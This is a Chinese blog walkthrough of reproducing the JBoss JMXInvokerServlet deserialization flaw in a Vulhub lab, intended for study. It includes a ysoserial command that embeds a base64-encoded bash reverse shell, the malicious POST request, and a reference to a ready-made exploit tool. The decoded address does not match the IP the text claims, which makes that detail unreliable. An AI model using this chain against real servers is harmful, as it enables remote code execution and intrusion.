利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞
JBoss JMXInvokerServlet 反序列化漏洞
- Vulnhub官方復現教程
- 漏洞原理
- 復現過程
- 啟動環境
- 端口設置
- 瀏覽器設置
- BurpSuit設置
- 復現漏洞
- 序列化數據生成
- 發送POC
- EXP
Vulnhub官方復現教程
https://vulhub.org/#/environments/jboss/JMXInvokerServlet-deserialization/
漏洞原理
這是經典的JBoss反序列化漏洞,JBoss在/invoker/JMXInvokerServlet請求中讀取了用戶傳入的對象,然后我們利用Apache Commons Collections中的Gadget執行任意代碼。
參考文檔:
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.seebug.org/vuldb/ssvid-89723
- http://www.freebuf.com/sectool/88908.html
- https://paper.seebug.org/312/
復現過程
啟動環境
https://blog.csdn.net/JiangBuLiu/article/details/93853056
進入路徑為
搭建及運行漏洞環境:
docker-compose build && docker-compose up -d用時:4分鐘
環境啟動后,訪問http://your-ip:8080/即可看到JBoss默認頁面。
端口設置
瀏覽器設置
以火狐瀏覽器FireFox為例,在選項→常規→網絡設置→設置,將連接中手動代理配置的HTTP代理,填寫127.0.0.1,端口為8080
BurpSuit設置
在Proxy下Options的Proxy Listeners編輯監聽端口為8080
并將Proxy下Intercept點擊成Intercept is on
復現漏洞
JBoss在處理/invoker/JMXInvokerServlet請求的時候讀取了對象,所以我們直接將ysoserial生成好的POC附在POST Body中發送即可。整個過程可參考jboss/CVE-2017-12149。
序列化數據生成
使用ysoserial來復現生成序列化數據,由于Vulhub使用的Java版本較新,所以選擇使用的gadget是CommonsCollections5:
java -jar ysoserial.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser【注意】上面POC中{}內base64的編碼原內容為bash -i >& /dev/tcp/192.168.236.138/3333 0>&1
【注意注意】!!!ysoserial不要用Powershell!!!一定要用cmd!!!
發送POC
生成好的POC文件.ser,將這個文件作為POST Body發送至/invoker/JMXInvokerServlet即可:
POST /invoker/JMXInvokerServlet HTTP/1.1 Host: 192.168.236.138:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-java-serialized-object Content-Length: 4240【右擊選擇上傳文件,選中POC上傳】
比如我POC中的命令是監聽端口,那么就檢測對應端口
EXP
網上已經有很多EXP了,比如DeserializeExploit.jar
直接用該工具執行命令、上傳文件即可:
總結
以上是生活随笔為你收集整理的利用Vulnhub复现漏洞 - JBoss JMXInvokerServlet 反序列化漏洞的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 模拟服务器和客户端交互的python脚本
- 下一篇: 在BurpSuite中安装Jython环